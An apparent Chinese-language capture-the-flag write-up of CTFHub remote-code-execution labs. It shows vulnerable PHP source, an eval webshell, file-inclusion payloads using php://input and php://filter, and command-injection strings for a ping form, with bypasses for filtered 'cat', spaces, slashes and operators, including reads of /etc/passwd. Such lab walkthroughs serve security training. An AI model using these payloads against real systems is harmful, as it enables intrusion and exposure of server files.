引言

题目共有如下类型

什么是RCE漏洞

RCE漏洞,全称是Remote Code Execution漏洞,翻译成中文就是远程代码执行漏洞。顾名思义,这是一种安全漏洞,允许攻击者在受害者的系统上远程执行任意代码

eval执行

分析源码:

 <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?>

执行命令查看当前目录

?cmd=system("ls");

查看根目录或者上级目录一个一个查找

?cmd=system("ls /");
?cmd=system("ls ../../../");

发现flag文件

cat /flag_8751即可

文件包含

文件包含

源码审计

<?php
error_reporting(0);
if (isset($_GET['file'])) { //检查是否存在file参数且不为空
if (!strpos($_GET["file"], "flag")) { //过滤flag字符串
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?> <hr>
i have a <a href="shell.txt">shell</a>, how to use it ? //提示有个shell.txt文件,内容为 <?php eval($_REQUEST['ctfhub']);?>

利用文件包含读取shell.txt

先了解一下$_REQUEST函数,是PHP 中一个非常方便的超级全局变量,它处理来自用户输入的数据。具体来说,$_REQUEST 变量包含了通过 GETPOSTCOOKIE 方法传递的数据 ,所以可以利用POST或cookie传入ctfhub变量

查看根目录

查找flag

php://input

源码分析

<?php
if (isset($_GET['file'])) { //检查是否存在file参数
if ( substr($_GET["file"], 0, 6) === "php://" ) { //检查参数前6位是否为 php:// ,是则执行
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
// 给了应该phpinfo.php超链接

查看phpinfo.php文件,发现此处

抓包构造命令执行,因为有php://input,故会执行传入的php代码

查看flag

这里也可以利用php伪协议,会得到一串base64加密的flag,解密即可

或者:

读取源代码

源码审计

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) { //检查file参数是否以 php:// 开头
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__); //代码高亮,显示源码
}
?> i don't have shell, how to get flag?
flag in <code>/flag</code> //flag在根目录

php伪协议读取flag

?file=php://filter/read=/resource=/flag

远程包含

源码审计

<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) { //过滤flag字符串
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>

给了一个phpinfo()界面,根据题目提示,还是文件包含题,抓包利用php;//input读取

查看根目录

读取flag

命令注入

  • 这里需要了解一下常见的命令分隔符

  • ; : 无论前面是否执行,后面都执行

  • ||(逻辑或):前命令失败执行后命令,如果前命令成功则不执行后命令

  • | :前者结果作为后者参数使用

  • && :前命令成功执行后命令,如果失败则不执行后命令

  • \n:换行符,url编码%0a

  • %0a (换行)

  • %0d (回车)

无过滤

没有做任何过滤

ping一下

查看该目录,使用 127.0.0.1; ls 也是可以的

查看26398804916519.php

127.0.0.1 | cat 26398804916519.php

发现flag

过滤cat

查看源码:

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/cat/", $ip, $m)) { //过滤了cat字符串
$cmd = "ping -c 4 {$ip}"; //windows默认ping4次,Linux不设置次数会一直ping
exec($cmd, $res);
} else {
$res = $m;
}
}

查看当前目录

因为cat被过滤了,此系统是linux操作系统,所以可以使用cat命令的平替,如 nl tac c\at less more tail

nl查看,得到flag

或者使用转义符 \ 绕过 也可以得到flag,会将c\at 分为两个字符串,则绕过cat过滤

过滤空格

查看源码

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) { //只过滤了空格
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

先查看当前目录,得到flag文件 flag_11971489425983.php

这里介绍几个绕过空格的方法

$IFS$9   %09    <>    <     {cat,flag}

可以绕过空格

127.0.0.1;cat$IFS$9flag_11971489425983.php

过滤目录分隔符

几种常见的 / 符号绕过方法

改变工作目录:cd xxx   避免使用 / 符号
环境变量截取: ${PATH:0:1} ${HOME:0:1}
编码绕过:8进制: $(printf "\57") 16进制: $'\x2f' $'\57'
调用命令生成:a=$(printf "/"); cat ${a}etc${a}passwd cat `echo /`etc`echo /`passwd
通配符替代(部分路径已知):/???/cat /???/passwd //匹配 /bin/cat
利用反斜杠:cat \/etc\/passwd
协议替代:file_get_contents('glob:///*');

提示:

源码

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) { //过滤了 / 符号
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

查看当前目录

进入该目录并查看

执行以下命令读取flag文件

127.0.0.1;cd flag_is_here;cat flag_29914267619184.php

得到flag

过滤运算符

查看源码,可以利用 绕过

<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) { //利用正则匹配过滤了 | 和 &
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

查看当前目录

执行以下命令

127.0.0.1;cat flag_4351260182213.php

得到flag

综合过滤练习

源码审计

<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) { //过滤了 | & ; 空格 / cat flag ctfhub
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

利用换行符%0a绕过查看当前目录

查看根目录,没有有用信息,flag应该存在flag_is_here目录下

执行以下命令

?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0als         //flag被过滤,需要绕过

查看该flag

?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0anl$IFS$9f\lag_172132798218075.php  //绕过cat

CTFHub-RCE漏洞wp的更多相关文章

  1. ThinkPHP-5.0.23新的RCE漏洞测试和POC

    TP5新RCE漏洞 昨天又是周五,讨厌周五曝漏洞,还得又得加班,算了,还是先验证一波.新的TP5RCE,据说发现者因为上次的RCE,于是又审计了代码,结果发现的.TP5也成了万人轮啊. 测试 环境搭建 ...

  2. GitStack系统RCE漏洞学习

    漏洞简介 漏洞简情 漏洞程序 GitStack 影响版本 <=2.3.10 漏洞类型 RCE 漏洞评价 高危 漏洞编号 CVE-2018-5955 漏洞程序介绍 GitStack是一款基于Pyt ...

  3. Zimbra无需登录RCE漏洞利用

    2019年3月13号,一名国外的安全研究员在他的博客上公布了zimbra RCE漏洞相关信息,但其中并未提到一些漏洞利用细节. 经过一段时间努力,根据网上各位大牛的分析和我自己的理解,在此我将整个漏洞 ...

  4. WordPress插件Social Warfare<=3.5.2 无需登录RCE漏洞

    该漏洞只存在于Social Warfare插进的3.5.0.3.5.1和3.5.2版本中,其他版本不存在. 2019年3月21日插件作者紧急发布了3.5.3版本以修复高危的RCE漏洞,在<=3. ...

  5. Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现

    Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...

  6. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  7. Apache Shiro<=1.2.4反序列化RCE漏洞

    介绍:Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 漏洞原因:因为shiro对cookie里的rememberme字段进行了反序列化,所以如果知道了 ...

  8. U-Boot NFS RCE漏洞(CVE-2019-14192)

    U-Boot NFS RCE漏洞(CVE-2019-14192) 原文:https://blog.semmle.com/uboot-rce-nfs-vulnerability/ 翻译:看雪翻译小组 - ...

  9. Joomla 3.0.0 - 3.4.6 RCE漏洞分析记录

    0x00  前言 今天早上看到了国内几家安全媒体发了Joomla RCE漏洞的预警,漏洞利用的EXP也在Github公开了.我大致看了一眼描述,觉得是个挺有意思的漏洞,因此有了这篇分析的文章,其实这个 ...

  10. 威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”

    简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件.除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐 ...

随机推荐

  1. JVM调优总结:典型配置举例

    原文出处:http://developer.51cto.com/art/201201/311739.htm 一篇非常棒的关于JVM性能调优的文章,转载用于自己经常查阅 以下配置主要针对分代垃圾回收算法 ...

  2. Codeforces Round 878 (Div3)

    B. Binary Cafe \(1 \leq n,k \leq 10^9\) 题解:思维 考虑两种情况 第一种:钱足够多,每种咖啡都可以买的情况下,答案为\(2^k\) 第二种:钱不够多,因为任一面 ...

  3. 2023CCCC选拔赛

    7-7 与零交换 给定排列\(p:0,1,2...n-1\),每次操作你只能将一个数字和\(0\)进行交换,然后将初始排列升序排列,请你找出最少的与\(0\)交换的次数 题解:思维 + 环 样例一: ...

  4. linux模拟HID USB设备及wireshark USB抓包配置

    目录 1. 内核配置 2. 设备配置 附 wireshark USB抓包配置 笔者开发USB设备时的一些记录 1. 内核配置 内核启用USB Gadget,使用fs配置usb device信息. De ...

  5. arcgis技术文章索引

    1.Error:  The System Clock has been set back to the past. 点击打开链接 2.Error:  Error 1500. Another insta ...

  6. 痞子衡嵌入式:i.MXRT1170上PXP对CM7 TCM进行随机地址短小数据写入操作限制

    大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家分享的是i.MXRT1170上PXP对CM7 TCM进行随机地址短小数据写入操作限制. 在 MCU 里能够对片内外映射的存储器进行读写操作的主设 ...

  7. 渗透测试-前端验签绕过之SHA256

    本文是高级前端加解密与验签实战的第1篇文章,本系列文章实验靶场为Yakit里自带的Vulinbox靶场,本文讲述的是绕过SHA256签名来爆破登录. 绕过 通过查看源代码可以看到key为 123412 ...

  8. tableau连接不上mysql或不显示mysql表的终极解决方法

    [报错一]连不上mysql An error occurred while communicating with MySQL The connection to the data source mig ...

  9. 动态 import()

    动态 import() https://v8.dev/features/dynamic-import Dynamic import() 引入了一个新的类似函数的功能,相比静态的 import 提供了新 ...

  10. betterZip解压后压缩包会删除 zip文件解压后原压缩文件能不能删掉

    https://www.betterzipcn.com/faq/better-ydeq.html 品牌型号:MacBook Book Air 系统:MacOS Mojave 10.14 软件版本:Be ...